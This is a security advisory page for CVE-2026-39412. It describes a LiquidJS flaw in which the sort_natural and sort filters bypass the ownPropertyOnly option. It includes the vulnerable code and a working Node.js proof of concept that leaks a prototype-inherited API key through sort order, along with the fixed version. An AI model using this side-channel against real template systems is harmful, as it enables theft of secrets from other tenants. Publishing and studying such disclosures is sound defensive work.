CVE-2026-39412: LiquidJS: ownPropertyOnly bypass via sort_natural filter — prototype property information disclosure through sorting side-channel
Summary The sortnatural filter bypasses the ownPropertyOnly security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on ownPropertyOnly: true as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens.
Published Apr 8, 2026 · Updated Apr 9, 2026
Affected packages
liquidjs
- Ecosystem
- npm
- Affected
- <= 10.25.3
- Fixed in
- 10.25.4
- Check
npm ls liquidjs
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The sort_natural filter bypasses the ownPropertyOnly security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on ownPropertyOnly: true as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens.
Details
In src/filters/array.ts, the sort_natural function (lines 40-48) accesses object properties using direct bracket notation (lhs[propertyString]), which traverses the JavaScript prototype chain:
export function sort_natural<T> (this: FilterImpl, input: T[], property?: string) {
const propertyString = stringify(property)
const compare = property === undefined
? caseInsensitiveCompare
: (lhs: T, rhs: T) => caseInsensitiveCompare(lhs[propertyString], rhs[propertyString])
const array = toArray(input)
this.context.memoryLimit.use(array.length)
return [...array].sort(compare)
}In contrast, the correct approach used elsewhere in the codebase goes through readJSProperty in src/context/context.ts, which checks hasOwnProperty when ownPropertyOnly is enabled:
export function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) {
if (ownPropertyOnly && !hasOwnProperty.call(obj, key) && !(obj instanceof Drop)) return undefined
return obj[key]
}The sort_natural filter bypasses this check entirely. The sort filter (lines 26-38 in the same file) has the same issue.
PoC
const { Liquid } = require('liquidjs');
async function main() {
const engine = new Liquid({ ownPropertyOnly: true });
// Object with prototype-inherited secret
function UserModel() {}
UserModel.prototype.apiKey = 'sk-1234-secret-token';
const target = new UserModel();
target.name = 'target';
const probe_a = { name: 'probe_a', apiKey: 'aaa' };
const probe_z = { name: 'probe_z', apiKey: 'zzz' };
// Direct access: correctly blocked by ownPropertyOnly
const r1 = await engine.parseAndRender('{{ users[0].apiKey }}', { users: [target] });
console.log('Direct access:', JSON.stringify(r1)); // "" (blocked)
// map filter: correctly blocked
const r2 = await engine.parseAndRender('{{ users | map: "apiKey" }}', { users: [target] });
console.log('Map filter:', JSON.stringify(r2)); // "" (blocked)
// sort_natural: BYPASSES ownPropertyOnly
const r3 = await engine.parseAndRender(
'{% assign sorted = users | sort_natural: "apiKey" %}{% for u in sorted %}{{ u.name }},{% endfor %}',
{ users: [probe_z, target, probe_a] }
);
console.log('sort_natural order:', r3);
// Output: "probe_a,target,probe_z,"
// If apiKey were blocked: original order "probe_z,target,probe_a,"
// Actual: sorted by apiKey value (aaa < sk-1234-secret-token < zzz)
}
main();Result:
Direct access: ""
Map filter: ""
sort_natural order: probe_a,target,probe_z,The sorted order reveals that the target's prototype apiKey falls between "aaa" and "zzz". By using more precise probe values, the full secret can be extracted character-by-character through binary search.
Impact
Information disclosure vulnerability. Any application using LiquidJS with ownPropertyOnly: true (the default since v10.x) where untrusted users can write templates is affected. Attackers can extract prototype-inherited secrets (API keys, tokens, passwords) from context objects via the sort_natural or sort filters, bypassing the security control that is supposed to prevent prototype property access.
Credited to tndud042713.
References
- https://github.com/harttle/liquidjs/security/advisories/GHSA-rv5g-f82m-qrvv
- https://github.com/harttle/liquidjs/pull/869
- https://github.com/harttle/liquidjs/commit/e743da0020d34e2ee547e1cc1a86b58377ebe1ce
- https://github.com/harttle/liquidjs/releases/tag/v10.25.4
- https://nvd.nist.gov/vuln/detail/CVE-2026-39412
- https://github.com/advisories/GHSA-rv5g-f82m-qrvv
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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